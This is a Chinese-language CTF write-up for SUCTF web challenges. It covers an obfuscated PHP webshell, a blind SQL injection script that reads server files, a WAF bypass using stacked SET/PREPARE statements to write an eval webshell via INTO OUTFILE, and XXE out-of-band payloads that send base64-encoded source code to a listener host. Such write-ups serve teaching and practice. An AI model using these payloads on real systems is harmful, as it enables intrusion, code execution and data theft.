迟到的writeup,之前忙于复习,打完比赛有的题目都没有复现完,现在假期了,欠下的也该补上了,假期安排的挺多的,一点一点来吧。

SUCTF部分题解

Getshell

这里题意很明显,利用几个字符构造一个webshell,可以使用的字符[ ] ( ) ~ = ; _ $ . 各种非英文字符

webshell编码后的

1
PD9waHAJJF89fiieKTskXy49fiiMKTskXy49fiiMKTskXy49fiiaKTskXy49fiiNKTskXy49fiiLKTskX189fiigKTskX18uPX4ouCk7JF9fLj1+KLopOyRfXy49fiirKTskX19fPSQkX187JF8oJF9fX1tfXSk7

MultiSql

这道题目在id处有个注入,但是没办法注数据库中的关键信息,其实

库名: CTF

user():SUCTF@LOCALHOST

这道题目是注入去读写文件,但是比赛的时候一直没想到这样去坐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import re
cookies = {
"PHPSESSID":"97uqf1ui0ks30ikp49dbqi17g0"
}
flag=''
for i in range(3000):
for s in range(48,127):
payload = 'http://192.168.190.128:11112/user/user.php?id=1-(hex(load_file(0x2F7661722F7777772F68746D6C2F2F627776735F636F6E6669672F7379735F636F6E6669672E706870))<0x{0})'.format((flag+chr(s)).encode("hex"))
content = requests.get(url=payload,cookies=cookies).content
#print payload
if 'admin' not in content:
flag += chr(s-1)
print flag
break

读到源代码,可以发现执行sql语句使用的是

1
$data = mysqli_multi_query($connect, $sql) or die();

也就是说可以执行多条语句,另外,再看一下waf吧,一开始的时候由于利用注入读不到关键信息,以后利用点不在这里。

1
2
3
4
5
6
7
8
9
10
<? php
function waf($str) {
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@", $str);
return addslashes($str);
}
?>

既然可以执行多条语句,那么就可以利用set来绕过select来进行文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> set @t=0x73656C65637420313233;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare x from @t;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute x;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
1
2
3
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php'
http://192.168.190.128:11112/user/user.php?id=2;set @xx=0x53454C45435420273C3F70687020406576616C28245F504F53545B315D293B3F3E2720696E746F206F757466696C6520272F7661722F7777772F68746D6C2F66617669636F6E2F7368656C6C2E70687027;prepare x from @xx;execute x;

homework

这道题目首先可以进行XXE攻击

这个页面可以看出module参数是调用的类,args为参数,但是如果我们调用内置类的话,比如说内置类

可以知道第三个参数可以引入外部的xml文件

oob.xml

1
2
3
4
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.190.1/evil.xml">
%remote; %intern; %xxe;
]>

evil.xml

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://192.168.190.128:12345/?%payl;'>">

可以打到源码

通过审计源码可以发现

这里sig参数没有加引号包括,如果传入16进制的话会解析成字符串

然后看show.php

明显存在二次注入,但是访问show.php触发的话需要127.0.0.1来访问,那么利用xxe来构造一个csrf。

修改evil.xml如下

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=1.php">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://192.168.190.128:12345/?%payl;'>">

然后可以利用报错注入。